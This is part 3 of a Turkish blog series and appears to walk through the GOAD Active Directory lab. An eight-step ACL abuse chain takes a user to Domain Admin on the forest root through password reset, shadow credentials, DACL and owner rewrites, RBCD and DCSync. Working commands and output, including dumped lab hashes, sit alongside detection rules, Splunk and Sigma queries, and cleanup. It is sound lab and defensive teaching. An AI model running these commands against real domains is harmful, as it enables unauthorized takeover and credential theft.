Series · 4 partsAssessing Active DirectoryPart 3 · You are here
- 1GOAD Bölüm 1: Sıfır Kimlik Bilgisinden Saldırı Grafiğine
- 2GOAD Bölüm 2: NORTH Domain Controller'ını Ele Geçirmek
- 3GOAD Bölüm 3: ACL Zincirinde Orman Köküne TırmanmakYou are here
- 4GOAD Bölüm 4: Orman Güvenini Aşarak essos.local'i Ele Geçirmek
Alt etki alanından orman köküne
Bölüm 2 north.sevenkingdoms.local alt etki alanındaki DC02’nin tam denetimiyle sona ermişti. Bir alt etki alanını ele geçirmek, orman kökünü otomatik olarak ele geçirmek anlamına gelmez; ikisi bir güven ilişkisini paylaşan farklı etki alanlarıdır. Bu bölümde ana etki alanı sevenkingdoms.local’a geçiyor ve DC01 (kingslanding, 192.168.56.10) üzerinde Domain Admin yetkisiyle bitiriyoruz.
Burada herhangi bir yazılım açığı yok. Sıradan bir kullanıcı ile Domain Controller arasında duran tek şey, bir Erişim Denetim Listesi (ACL) hataları zinciridir: bir principal’ın bir sonraki nesne üzerinde tehlikeli bir hakka sahip olması. Bölüm 1 giriş noktasını zaten bulmuştu: SYSVOL içindeki bir SecureString değerinden çözülen tywin.lannister : powerkingftw135. BloodHound da ondan KINGSLANDING’e giden sekiz adımlı yolu çizmişti:

tywin → jaime → joffrey → tyron → Small Council → Dragonstone → Kingsguard → stannis → KINGSLANDING.Orman kökü temel yapılandırması ve savunma duruşu
Resmi GOAD dokümantasyonu sevenkingdoms.local etki alanını birinci ormanın kökü olarak yapılandırır:
| Sunucu | IP | Rol | İşletim Sistemi | Windows Defender | Savunma Duruşu |
|---|---|---|---|---|---|
DC01 (kingslanding) | 192.168.56.10 | Orman Kökü DC, Enterprise CA (AD CS), KDC | Windows Server 2019 | Etkin (Enabled) | Yalnızca bellek içi LDAP ACL güncellemeleri, Kerberos PKINIT ve DCSync işlemleri antivirüs uyarısı üretmez; tüm tespit doğrudan Windows Güvenlik Olay Günlüklerine dayanır. |
Bu zincirdeki en önemli nokta şudur: her adım farklı bir haktır ve hak, kullanacağın tekniği belirler. Tek bir aracı sekiz kez çalıştırarak ilerleyemezsin. Bazı kenarlar sana temiz bir parola hash’i verir; bazıları yıkıcı bir parola sıfırlamasını zorunlu kılar; bazıları ise önce hedefin izinlerini yeniden yazmadıkça hiçbir şey vermez. Aşağıdaki tablo, çalışma boyunca açık tuttuğum haritadır:
| # | Kenar | Hedef | Hak sana şunu sağlar… | Kullanılan teknik | Windows Event ID |
|---|---|---|---|---|---|
| 1 | ForceChangePassword | jaime.lannister | parolayı sıfırla (başka bir şey değil) | net rpc password | 4724 (Parola sıfırlama girişimi) |
| 2 | GenericWrite | joffrey.baratheon | msDS-KeyCredentialLink yaz | shadow credentials (certipy) | 5136 (msDS-KeyCredentialLink yazma) |
| 3 | WriteDacl | tyron.lannister | kendine daha fazla hak veren bir ACE ekle | dacledit → shadow credentials | 4670 / 5136 (DACL yeniden yazma) |
| 4 | AddSelf | Small Council | kendini gruba ekle | bloodyAD add groupMember | 4728 (Güvenlik grubuna üye eklendi) |
| 5 | AddMember | Dragonstone | herkesi gruba ekle | bloodyAD add groupMember | 4728 (Güvenlik grubuna üye eklendi) |
| 6 | WriteOwner | Kingsguard | sahip ol → DACL’ini yeniden yaz | owneredit → dacledit → ekle | 4670 (Nesne sahibi değişti) |
| 7 | GenericAll | stannis.baratheon | kullanıcının tam kontrolü | shadow credentials (certipy) | 5136 (KeyCredential yazma) |
| 8 | GenericAll | KINGSLANDING$ (DC) | DC nesnesinin tam kontrolü | RBCD → S4U → DCSync | 4741 + 5136 + 4662 (DCSync) |
Tablodaki her izin, kimlik doğrulamış herhangi bir kullanıcı tarafından LDAP üzerinden okunabilir. BloodHound’un hiçbir şeye dokunmadan yolu çizebilmesinin nedeni budur. Ben de her kenarı istismar etmeden önce impacket-dacledit -action read ile kabloda doğruladım. Bunu iki nedenle yaptım: hem hakkın gerçekten var olduğunu kanıtlamak hem de ACE tipinin hangi saldırıyı mümkün kıldığını görmek. Çünkü aynı görünen iki izin, örneğin WriteDacl ile GenericWrite, tamamen farklı kapılar açar.
Bu tabloyu ezberlemek yerine bir karar ağacı gibi kullanmanı öneririm. Elindeki ACE’e bakıp doğrudan “hangi aracı çalıştırayım?” diye sormak yerine, “bu hak bana hangi ilkel yeteneği veriyor?” diye sor. ForceChangePassword bir parola yazma yeteneğidir, WriteDacl bir izin yazma yeteneğidir, WriteOwner ise dolaylı olarak izin yazma yeteneğine dönüşür. Aracı bu sorunun cevabı seçer; böylece elindeki araç listesi değil, hakların mantığı yönlendirir.
Zinciri çizmeye değer kılan şey, bunun aynı katmanda bir gezinti olmamasıdır. Microsoft’un katmanlama modelinin tamamını keser: altta dört standart kullanıcı, ortada bir dizi köprü grubu ve delege edilmiş bir kullanıcı, en üstte orman kökü Domain Controller. “Sekiz adım” aslında tek bir büyük sınırı geçen sekiz küçük adımdır. Bu yüzden zincir, tek tek izinlerden çok, bir güvenlik sınırının nasıl aşındığını gösterir.
Tier 2) bir dizi grup üyeliğine (Tier 1) dönüşür ve orman kökü DC'de (Tier 0) Domain Admin olarak biter. Zincir bir sınır geçişidir; aynı katmanda bir yürüyüş değildir.[!NOTE] Neden Domain Admin’leri doğrudan hedeflemek yerine sekiz adımlı ACL zincirini yürüyoruz? Resmi GOAD tasarımında ayrıcalıklı hesaplar üzerinde belirli sıkılaştırma kısıtları devrededir:
robert.baratheon(Domain Admin), Protected Users grubuna dahildir; bu nedenle NTLM hash’i bellekte önbelleğe alınmaz, Kerberos delegasyonu engellenir ve yalnızca AES şifreleme zorunlu tutulur.renly.baratheon,Hesap hassastır ve devredilemez (cannot be delegated)bayrağıyla korunur.- Doğrudan Tier 0 hesaplarını ele geçirme yolları bu politikalarla kapatıldığı için
Small Council,DragonstoneveKingsguardüzerinden uzanan ACL çizgesi, orman kökünü ele geçirmek için tasarlanmış tek mimari yoldur.
BloodHound Cypher: En kısa yolu ve replikasyon haklarını çizmek
LDAP nesnelerini tek tek sorgulamak yerine BloodHound çizge sorguları hedefe giden en kısa saldırı yolunu ve etki alanındaki replikasyon haklarını (DCSync) tek hamlede döker:
// 1. tywin.lannister'dan KINGSLANDING Domain Controller'a en kisa yol
MATCH p=shortestPath((u:User {name: '[email protected]'})-[*1..]->(c:Computer {name: 'DC01.SEVENKINGDOMS.LOCAL'}))
RETURN p
// 2. Etki alaninda GetChanges / GetChangesAll hakki tasiyan principal'lar
MATCH (n)-[r:GetChanges|GetChangesAll]->(d:Domain)
RETURN n.name AS Principal, type(r) AS ReplicationRight, d.name AS Domain
Adımlar 1–3: parola sıfırlamadan iki temiz hash’e
tywin.lannister, jaime.lannister üzerinde tam olarak tek bir hakka sahiptir ve ACE’i okumak bu hakkın sınırını açıkça gösterir:
$ impacket-dacledit -action read -principal tywin.lannister -target jaime.lannister \
'sevenkingdoms.local/tywin.lannister:powerkingftw135' -dc-ip 192.168.56.10
[*] ACE[0] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] Access mask : ControlAccess (0x100)
[*] Object type : User-Force-Change-Password (00299570-246d-11d0-a768-00aa006e0529)
[*] Trustee (SID) : tywin.lannister
ForceChangePassword tek bir extended right’tır. Sana msDS-KeyCredentialLink yazma, SPN belirleme ya da herhangi bir şey okuma izni vermez. Tek hamle, jaime’nin parolasını eskisini bilmeden üzerine yazmaktır:
$ net rpc password jaime.lannister 'Jankesec2026!' \
-U 'sevenkingdoms.local/tywin.lannister%powerkingftw135' -S 192.168.56.10
$ nxc smb 192.168.56.10 -u jaime.lannister -p 'Jankesec2026!' -d sevenkingdoms.local
SMB 192.168.56.10 445 KINGSLANDING [+] sevenkingdoms.local\jaime.lannister:Jankesec2026!
Bu, zincirin gürültülü ve yıkıcı adımıdır ve neden böyle olduğu üzerinde durmaya değer. Gerçek bir denetimde canlı bir kullanıcının parolasını sıfırlamak o kişiyi sistemden kilitler ve dakikalar içinde yardım masasında bir bilet açılmasına yol açar. Bu, tüm zincirdeki en gürültülü tek hareket olabilir. Sessiz bir alternatif yoktur, çünkü kenar tipi başka bir şey sunmaz. ForceChangePassword görüp yanında başka bir hak yoksa ya bu gürültüyü kabul edersin ya da başka bir yol ararsın. Rapor yazarken de bu adımı en yüksek sesle işaretlemenin nedeni budur: geri alınamaz bir değişiklik bırakır. Bu hak aynı zamanda hedefin eski parolasını bilmeyi gerektirmez; bu yüzden yardım masası ekiplerine verilen geniş sıfırlama yetkileri, farkında olunmadan bir saldırı yolunun ilk kenarı hâline gelebilir.
ActiveDirectory PowerShell modülünün yüklü olduğu kimliği doğrulanmış bir Windows oturumunda bu sıfırlama işlemi şu komuta karşılık gelir:
# Eski parolayi bilmeden dogrudan PowerShell ile parola sifirlama
Set-ADAccountPassword jaime.lannister -Reset -NewPassword (ConvertTo-SecureString 'Jankesec2026!' -AsPlainText -Force)
jaime.lannister ise joffrey.baratheon üzerinde GenericWrite tutar; bu tamamen farklı bir hikâyedir:
$ impacket-dacledit -action read -principal jaime.lannister -target joffrey.baratheon \
'sevenkingdoms.local/jaime.lannister:Jankesec2026!' -dc-ip 192.168.56.10
[*] Access mask : ReadControl, WriteProperties, Self (0x20028)
[*] Trustee (SID) : jaime.lannister
GenericWrite, msDS-KeyCredentialLink yazma hakkını içerir ve shadow credentials saldırısının temeli tam olarak budur: hedefe sertifika destekli bir anahtar ekle, onun kimliğiyle PKINIT üzerinden kimlik doğrula ve NT hash’ini kurtar; üstelik parolasını değiştirmeden. sevenkingdoms.local, kingslanding üzerinde AD CS çalıştırdığı için PKINIT kullanılabilir ve certipy shadow auto tüm akışı yürütüp hesabı bulduğu gibi geri bırakır:
$ certipy-ad shadow auto -u [email protected] -p 'Jankesec2026!' \
-account joffrey.baratheon -dc-ip 192.168.56.10
[*] Adding Key Credential with device ID '4061...' to 'joffrey.baratheon'
[*] Authenticating as 'joffrey.baratheon' with the certificate
[*] Got TGT
[*] Restoring the old Key Credentials for 'joffrey.baratheon'
[*] NT hash for 'joffrey.baratheon': 3b60abbc25770511334b3829866b08f1
Bu etki alanında AD CS olmasaydı shadow credentials bir seçenek olmazdı ve GenericWrite için yedek yol hedefli Kerberoasting olurdu: joffrey’e bir SPN yaz, bilet iste ve kır. Ancak bu yalnızca joffrey’nin parolası zayıfsa çalışır. Shadow credentials yolu parolanın gücünü hiç umursamaz; bu yüzden hak izin verdiğinde ilk başvurulacak yöntemdir. Aradaki fark, saldırganın hedefin parola politikasına bağımlı olup olmamasıdır. Bu yüzden bir ortamda işe yarayan teknik, başka bir ortamda hiçbir sonuç vermeyebilir; keşif çıktısını bu değişkenle birlikte okumak gerekir.
Bir Windows sunucusundan aynı KeyCredentialLink enjeksiyonu C# araçlarıyla gerçekleştirilebilir:
# Windows ve C# esdegeri (Whiskey / PKINITtools)
Whiskey.exe --target joffrey.baratheon --domain sevenkingdoms.local --action add
Üçüncü adım, sana tek başına hiçbir şey vermeyen bir hakkın nasıl göründüğünü gösterir. joffrey.baratheon, tyron.lannister üzerinde WriteDacl’a sahiptir:
$ impacket-dacledit -action read -principal joffrey.baratheon -target tyron.lannister \
-hashes :3b60abbc25770511334b3829866b08f1 'sevenkingdoms.local/joffrey.baratheon' -dc-ip 192.168.56.10
[*] Access mask : WriteDACL (0x40000)
[*] Trustee (SID) : joffrey.baratheon
WriteDacl, hedefin izinlerini yeniden yazma yetkisidir. Bu yüzden hamle iki adımlıdır: önce kendine tam kontrol ver, sonra o hakkı istismar et. dacledit orijinal DACL’i yedekler, böylece değişiklik geri alınabilir. Bu, bir denetim sırasında geri dönüş planı olmadan ilerlememen gerektiğinin de iyi bir örneğidir:
$ impacket-dacledit -action write -rights FullControl -principal joffrey.baratheon \
-target tyron.lannister -hashes :3b60abbc25770511334b3829866b08f1 \
'sevenkingdoms.local/joffrey.baratheon' -dc-ip 192.168.56.10
[*] DACL backed up to dacledit-20261103-201748.bak
[*] DACL modified successfully!
$ certipy-ad shadow auto -u [email protected] \
-hashes :3b60abbc25770511334b3829866b08f1 -account tyron.lannister -dc-ip 192.168.56.10
[*] NT hash for 'tyron.lannister': b3b3717f7d51b37fb325f7e7d048e998
PowerView ile Windows üzerinde DACL yeniden yazma adımı doğrudan şu komutla işletilir:
# PowerView: tyron.lannister uzerinde FullControl hakki tanima
Add-DomainObjectAcl -TargetIdentity tyron.lannister -PrincipalIdentity joffrey.baratheon -Rights All
Tespit: Shadow credentials yazmaları msDS-KeyCredentialLink üzerinde Event ID 5136; DACL yeniden yazmaları nTSecurityDescriptor üzerinde 5136; parola sıfırlaması ise 4724/4738 olarak düşer. En yüksek değerli sinyal, cihaz anahtarı tutması gerekmeyen bir hesapta msDS-KeyCredentialLink özniteliğine yapılan herhangi bir yazmadır. Kontrol: Yönetici olmayanların diğer kullanıcılar üzerinde GenericWrite/WriteDacl/GenericAll tutmaması için nesne ACL’lerini buda; ayrıcalıklı hesapları Protected Users grubuna al ve AD CS’yi sıkılaştır. Yaslanacak bir CA yoksa shadow credentials da ölür.
Adımlar 4–6: grup yığınını tırmanmak
Sonraki üç kenar grup izinleridir ve üyelik üzerinden birbirine bağlanır: bir gruba girdiğinde onun giden haklarını miras alırsın. tyron.lannister, Small Council üzerinde AddSelf hakkına sahiptir; yani yalnızca kendi kendini üye yapabilir, başka hiçbir şey yapamaz:
$ impacket-dacledit -action read -principal tyron.lannister -target 'Small Council' ...
[*] Access mask : Self (0x8)
[*] Object type : Self-Membership (bf9679c0-0de6-11d0-a285-00aa003049e2)
$ bloodyAD --host 192.168.56.10 -d sevenkingdoms.local -u tyron.lannister \
-p :b3b3717f7d51b37fb325f7e7d048e998 add groupMember 'Small Council' tyron.lannister
[+] tyron.lannister added to Small Council
AddSelf yalnızca kendini eklemene izin verir, başka kimseyi değil. Bu ayrım önemlidir: elinde AddSelf varsa grubu kendi hesabınla büyütebilirsin, ama başka bir kullanıcıyı içeri sokamazsın. Small Council ise Dragonstone üzerinde AddMember tutar. Bu, member özniteliği üzerinde bir WriteProperty hakkıdır ve daha güçlü “herkesi ekle” sürümüdür. Şimdi tyron olarak (bir Small Council üyesi) onu Dragonstone’a da ekleyebiliriz:
$ impacket-dacledit -action read -principal 'Small Council' -target 'Dragonstone' ...
[*] Access mask : WriteProperty (0x20)
[*] Object type : Self-Membership (bf9679c0-0de6-11d0-a285-00aa003049e2)
$ bloodyAD ... add groupMember 'Dragonstone' tyron.lannister
[+] tyron.lannister added to Dragonstone
Burada insanları yanıltan bir incelik var: Windows’ta yeni bir grup üyeliği yalnızca taze bir oturum açma sonrasında etkin olur, çünkü grup SID’leri Kerberos biletine gömülüdür. Ancak bu araçlar her seferinde taze bir NTLM bind ile kimlik doğrular ve DC grup üyeliğini bind anında değerlendirir. Yani tyron’un yepyeni Small Council üyeliği bir sonraki komutta zaten canlıdır. Yeniden oturum açmak yok, bilet cambazlığı yok. Bu ayrımı bilmek, gerçek bir ortamda “grup üyeliği neden hemen işe yaramadı?” sorusunun cevabını da verir. Kerberos biletiyle çalışan bir istemci, yeni üyeliği ancak yeni bir TGT aldığında görür; NTLM bind’i ise üyeliği her seferinde dizinden yeniden okur. Zincirdeki araçların çoğu ikinci yolu kullandığı için adımlar arasında bekleme gerekmez.
Dragonstone, Kingsguard üzerinde WriteOwner’a sahiptir; bu, zincirin en dolambaçlı kenarıdır. Bir nesnenin sahibi olmak tek başına üye eklemene izin vermez, ama herhangi bir AD nesnesinin sahibi örtük olarak WriteDacl tutar. Yani sıra şudur: sahipliği al, o örtük WriteDacl ile kendine WriteMembers ver, sonra kendini gruba ekle. Üç ayrı araç gibi görünen bu akış, aslında tek bir mantıksal hakkın parçalara ayrılmış hâlidir:
$ impacket-dacledit -action read -principal 'Dragonstone' -target 'Kingsguard' ...
[*] Access mask : WriteOwner (0x80000)
$ impacket-owneredit -action write -new-owner tyron.lannister -target 'Kingsguard' ...
[*] OwnerSid modified successfully!
$ impacket-dacledit -action write -rights WriteMembers -principal tyron.lannister -target 'Kingsguard' ...
[*] DACL modified successfully!
$ bloodyAD ... add groupMember 'Kingsguard' tyron.lannister
[+] tyron.lannister added to Kingsguard
Bu grup yükseltme zincirinin tamamını PowerShell ve PowerView ile yerel olarak işletmek:
# tyron.lannister'i Small Council ve Dragonstone gruplarina ekleme
Add-ADGroupMember -Identity "Small Council" -Members tyron.lannister
Add-ADGroupMember -Identity "Dragonstone" -Members tyron.lannister
# Kingsguard sahipligini alma, WriteMembers izni yazma ve gruba katilma
Set-DomainObjectOwner -Identity "Kingsguard" -OwnerIdentity tyron.lannister
Add-DomainObjectAcl -TargetIdentity "Kingsguard" -PrincipalIdentity tyron.lannister -Rights WriteMembers
Add-ADGroupMember -Identity "Kingsguard" -Members tyron.lannister
Tespit: Grup üyeliği değişiklikleri Event ID 4728/4732/4756; sahiplik değişiklikleri ve ardından gelen DACL düzenlemesi ise 5136 olarak görünür. Ayrıcalıklı bir grupta bir sahip değişikliğini hemen aynı nesnedeki bir izin değişikliğinin izlemesi, bu istismarın neredeyse kusursuz bir imzasıdır. Kontrol: Gruplar üzerindeki ACL’leri grup üyeliğinin kendisi kadar ciddiye al; ayrıcalıklı bir grup üzerindeki WriteOwner, WriteDacl ve AddMember haklarının her biri üyeliğe eşdeğerdir. Bir sapmış kenarın Tier 0’a kaskad yapmaması için iç içe grupları düzleştir.
Adımlar 7–8: Domain Controller’ı almak
Kingsguard üyeliği, stannis.baratheon üzerinde GenericAll verir; yani bir kullanıcının tam kontrolü. Bir kez daha shadow credentials:
$ impacket-dacledit -action read -principal 'Kingsguard' -target stannis.baratheon ...
[*] Access mask : FullControl (0xf01ff)
$ certipy-ad shadow auto -u [email protected] \
-hashes :b3b3717f7d51b37fb325f7e7d048e998 -account stannis.baratheon -dc-ip 192.168.56.10
[*] NT hash for 'stannis.baratheon': d75b9fdf23c0d9a6549cff9ed6e489cd
Ve zincirin meyvesini verdiği yer tam olarak stannis.baratheon’dur: Domain Controller’ın kendi bilgisayar nesnesi KINGSLANDING$ üzerinde GenericAll hakkına sahiptir. Bir DC’nin bilgisayar hesabının tam kontrolü, DC’nin tam kontrolüdür. Klasik teknik Resource-Based Constrained Delegation (RBCD)‘dir ve delege edeceğin bir bilgisayar hesabını kontrol etmeni gerektirir. Bu yüzden ilk soru, etki alanının böyle bir hesap oluşturmama izin verip vermeyeceğidir:
$ bloodyAD ... get object 'DC=sevenkingdoms,DC=local' --attr ms-DS-MachineAccountQuota
ms-DS-MachineAccountQuota: 10
MachineAccountQuota = 10 — varsayılan değer ve RBCD için yeterli. (0 olsaydı bu adım, doğrudan KINGSLANDING$ üzerine bir shadow credential yazıp makine hesabı olarak kimlik doğrulamaya düşerdi; o yol kotaya bağışıklıdır.) Kotamız varken bir bilgisayar hesabı oluşturur, DC’nin msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğini ona yöneltir ve S4U2Self/S4U2Proxy ile DC’ye Administrator olarak bir bilet üretiriz. Mekanik kısaca şöyledir: S4U2Self ile jankesec$, kendi adına bir kullanıcı için servis bileti alır; S4U2Proxy ise bu bileti, KINGSLANDING$ üzerinde RBCD ile güvenilen bir servise devretmek için kullanır. DC, jankesec$’e bu yetkiyi verdiği için sonuçta cifs/kingslanding için Administrator kimliğini taşıyan bir bilet ortaya çıkar. Yani zincirin son halkası, tek bir öznitelik yazımıyla DC’nin kendi delegasyon mantığını kendi aleyhine çevirmektir.
GenericAll, RBCD ve sahte bir Administrator servis bileti üzerinden Domain Admin'e dönüşür.$ impacket-addcomputer -computer-name 'jankesec$' -computer-pass 'Jankesec2026Comp!' \
'sevenkingdoms.local/stannis.baratheon' -hashes :d75b9fdf23c0d9a6549cff9ed6e489cd -dc-ip 192.168.56.10
[*] Successfully added machine account jankesec$
$ impacket-rbcd -delegate-from 'jankesec$' -delegate-to 'KINGSLANDING$' -action write \
'sevenkingdoms.local/stannis.baratheon' -hashes :d75b9fdf23c0d9a6549cff9ed6e489cd -dc-ip 192.168.56.10
[*] Delegation rights modified successfully!
$ impacket-getST -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator \
'sevenkingdoms.local/jankesec$:Jankesec2026Comp!' -dc-ip 192.168.56.10
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
Bu biletle secretsdump orman kökünü DCSync edebilir; ancak ilk deneme başarısız oldu ve bu başarısızlık öğretici:
$ export KRB5CCNAME=Administrator@[email protected]
$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user krbtgt
[-] ERROR_DS_NAME_ERROR_NOT_UNIQUE: Name translation: Input name mapped to more than one output name.
krbtgt ormanın her etki alanında bulunur, bu yüzden nitelenmemiş bir isim belirsizdir. İsmi NetBIOS etki alanıyla nitelemek sorunu hemen çözer, çünkü DC artık hangi dizin bölümünde arama yapacağını bilir:
$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user 'SEVENKINGDOMS/krbtgt'
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72765225164f1b6542a3b0464aad363a:::
$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user 'SEVENKINGDOMS/Administrator'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
$ nxc smb 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e -d sevenkingdoms.local
SMB 192.168.56.10 445 KINGSLANDING [+] sevenkingdoms.local\Administrator:c66d72... (Pwn3d!)
Windows ve PowerShell araç eşdeğerleri (PowerView ve Mimikatz)
Windows uç noktalarında makine hesabı oluşturma, RBCD güvenlik tanımlayıcısı yazma ve DCSync replikasyonu yerel araçlarla doğrudan yürütülebilir:
# 1. Bilgisayar hesabi olusturma ve PowerView ile msDS-AllowedToActOnBehalfOfOtherIdentity yazma
New-MachineAccount -MachineAccount jankesec -Password (ConvertTo-SecureString 'Jankesec2026Comp!' -AsPlainText -Force)
$RawSecurityDescriptor = (Get-Acl "AD:\CN=jankesec,CN=Computers,DC=sevenkingdoms,DC=local").sddl
Set-DomainObject -Identity "KINGSLANDING$" -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $RawSecurityDescriptor}
# 2. Mimikatz ile dogrudan Domain Controller uzerinde DCSync calistirma
mimikatz.exe "lsadump::dcsync /domain:sevenkingdoms.local /user:SEVENKINGDOMS\krbtgt" "exit"
Elimizdeki krbtgt hash’i, tüm sevenkingdoms.local etki alanı için bir Golden Ticket’ın anahtarıdır ve Pwn3d! çıktısı orman kökünde Domain Admin’i doğrular. Sekiz okunabilir izin, bir kurtarılan parola, sıfır yazılım açığı. Zincirin tamamı, meşru Windows özelliklerinin yanlış verilmiş izinlerle birleşmesinden oluşuyor. Buradan çıkarılacak ders, tek bir “kritik zafiyet” aramak yerine izin grafiğini bütün olarak okumaktır: her kenar tek başına önemsiz görünebilir, ama birleştiklerinde orman köküne ulaşan bir yol oluştururlar. Savunma tarafı için de aynı mantık geçerlidir; tek tek olaylara değil, zincirin tamamına bakmak gerekir. MachineAccountQuota gibi “zararsız” görünen varsayılanlar, bu zincirde son halkayı mümkün kılan şeydir.
Tespit: Bilgisayar oluşturma Event ID 4741; RBCD yazması msDS-AllowedToActOnBehalfOfOtherIdentity üzerinde 5136; S4U değişimi TransitedServices alanı dolu 4769 biletleri olarak görünür. DCSync ise bir Domain Controller olmayan kaynaktan gelen 4662 replikasyon erişimidir (DS-Replication-Get-Changes) ve AD’deki en net “oyun bitti” alarmıdır. Kontrol: Sıradan kullanıcıların RBCD’nin ihtiyaç duyduğu bilgisayarı oluşturamaması için MachineAccountQuota değerini 0 yap; msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğini kimin yazabileceğini kısıtla; Domain Admin’leri Protected Users grubuna alıp sensitive/non-delegable olarak işaretle ve DC olmayan kaynak hostlardan gelen replikasyon isteklerine alarm ver.
Savunma telemetrisi ve SIEM tespit kuralları
Bu ACL zinciri boyunca gerçekleşen hareketleri avlamak, SIEM platformlarında LDAP yazma olaylarına ve dizin replikasyonuna odaklanan korelasyon kuralları gerektirir:
1. Splunk: DCSync Replikasyon İstismarı (Event ID 4662)
Makine hesabı olmayan veya güvenilmeyen sistemlerden gelen dizin eşitleme taleplerini (DS-Replication-Get-Changes GUID {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} veya DS-Replication-Get-Changes-All GUID {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}) tespit eder:
index=wineventlog EventCode=4662 ObjectType="domainDNS"
| search AccessMask="0x100" AND (Properties="*{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}*" OR Properties="*{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}*")
| search NOT (SubjectUserName="*$" OR SubjectUserName="MSOL_*")
| table _time, SubjectUserName, ComputerName, ObjectName, AccessMask, Properties
2. Splunk: Shadow Credentials Anahtar Bağlantısı Yazımı (Event ID 5136)
Certipy veya Whiskey gibi araçların sertifika destekli parolasız kimlik doğrulama eklemek amacıyla msDS-KeyCredentialLink özniteliğine yaptığı yazmaları yakalar:
index=wineventlog EventCode=5136 AttributeLDAPDisplayName="msDS-KeyCredentialLink" OperationType="%%14674"
| table _time, SubjectUserName, ObjectDN, AttributeValue
3. Splunk: Domain Controller Üzerinde RBCD Değişikliği (Event ID 5136)
Domain Controller bilgisayar nesnelerinde msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğine yapılan yetkisiz değişiklikleri belirler:
index=wineventlog EventCode=5136 AttributeLDAPDisplayName="msDS-AllowedToActOnBehalfOfOtherIdentity"
| search ObjectDN="*OU=Domain Controllers,DC=*"
| table _time, SubjectUserName, ObjectDN, OperationType
4. Sigma kural kesiti: DC dışı hesapla dizin replikasyonu
title: DC Olmayan Hesap Tarafindan Supheli DCSync Replikasyonu
status: experimental
description: domainDNS nesnesini hedef alan dizin replikasyon haklarinin istismarini tespit eder
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
ObjectType: 'domainDNS'
rights:
AccessList|contains:
- '{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}'
- '{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}'
filter:
SubjectUserName|endswith: '$'
condition: selection and rights and not filter
falsepositives:
- Mesru Active Directory senkronizasyon araclari (ornegin Entra Connect / Azure AD Sync)
level: critical
Temizlik
Bu zincirin yarısı canlı dizin durumunu değiştirdi ve profesyonel bir denetim, geri alabildiğini geri alır. dacledit ve owneredit adımlarının her biri orijinal güvenlik tanımlayıcısının bir .bak dosyasını yazdı; bu yüzden tyron üzerindeki DACL ile Kingsguard üzerindeki sahip/DACL bu yedeklerden geri yüklenebilir. RBCD özniteliği doğrudan DC’den temizlenir ve sahte bilgisayar hesabı kaldırılmalıdır:
$ impacket-rbcd -delegate-to 'KINGSLANDING$' -action flush 'sevenkingdoms.local/stannis.baratheon' -hashes :d75b...
[*] Delegation rights flushed successfully!
Yol boyunca eklenen grup üyelikleri de (tyron’un Small Council, Dragonstone ve Kingsguard üyelikleri) kaldırılmalıdır. Geri alamayacağın tek şey 1. adımdır: jaime.lannister’in orijinal parolası artık yoktur. ForceChangePassword’ün raporda en yüksek sesle işaretlenmesi gereken adım olmasının nedeni tam da budur; diğer değişiklikler geri alınabilir, ama parola sıfırlaması kullanıcıya ve denetim izine kalıcı olarak yansır. Temizliği eksik bırakmak, laboratuvar dışında gerçek kullanıcıları kilitleyebilecek ve sonraki denetimleri kirletebilecek bir alışkanlıktır; bu yüzden her yıkıcı adımı, geri alma komutuyla birlikte not et.
Bulguların özeti
| Bulgu | Kenar → hedef | Etki | Doğrula (Kali’den) | Kontrol |
|---|---|---|---|---|
Bir kullanıcı üzerinde ForceChangePassword | tywin → jaime | Hesap ele geçirme (yıkıcı sıfırlama) | impacket-dacledit -action read | Yönetici olmayan sıfırlama haklarını kaldır; Protected Users |
Bir kullanıcı üzerinde GenericWrite/GenericAll | jaime → joffrey, Kingsguard → stannis | Shadow credentials → NT hash, sıfırlama yok | certipy-ad shadow auto -account <u> | AD CS / PKINIT’i sıkılaştır; msDS-KeyCredentialLink’i kısıtla |
Bir kullanıcı üzerinde WriteDacl | joffrey → tyron | Kendine tam kontrol ver, sonra ele geçir | impacket-dacledit -action write -rights FullControl | nTSecurityDescriptor üzerinde 5136’yı denetle |
Bir grupta AddSelf / AddMember | tyron → Small Council → Dragonstone | Grubun giden haklarını miras al | bloodyAD add groupMember | Grup ACL’lerini üyelik olarak ele al; yuvalamayı düzleştir |
Bir grupta WriteOwner | Dragonstone → Kingsguard | Sahip ol → örtük WriteDacl → katıl | impacket-owneredit + dacledit | Ayrıcalıklı gruplarda sahip değişikliklerini kilitle |
Bir DC bilgisayarı üzerinde GenericAll | stannis → KINGSLANDING$ | RBCD → Administrator bileti → DCSync | impacket-rbcd + getST + secretsdump -k | MachineAccountQuota=0; RBCD yazmalarını kısıtla; 4662’ye alarm |
Sıradaki Bölüm 4’te
sevenkingdoms.local’ı ele geçirmek bize orman kökünü verir, ama GOAD bir çok ormanlı laboratuvardır. Bölüm 4’te ikinci ormana, essos.local’e dönüyoruz. Ormanlar arası güven SID filtering uygular (trustAttributes: 8); bu yüzden ExtraSids / SID history taşıyan sahte bir bilet sınırı Domain Admin olarak geçmez. Bunun yerine Bölüm 1’deki missandei dayanağını kullanarak essos.local’e içeriden saldırıyoruz: kendi ACL zincirini (missandei → khal.drogo → viserys.targaryen) yürüyor ve ESSOS-CA sertifika şablonlarını (ESC1) istismar ederek daenerys.targaryen’e ulaşıp ikinci ormanı DCSync ediyoruz.
Kanıt ve sınırlar
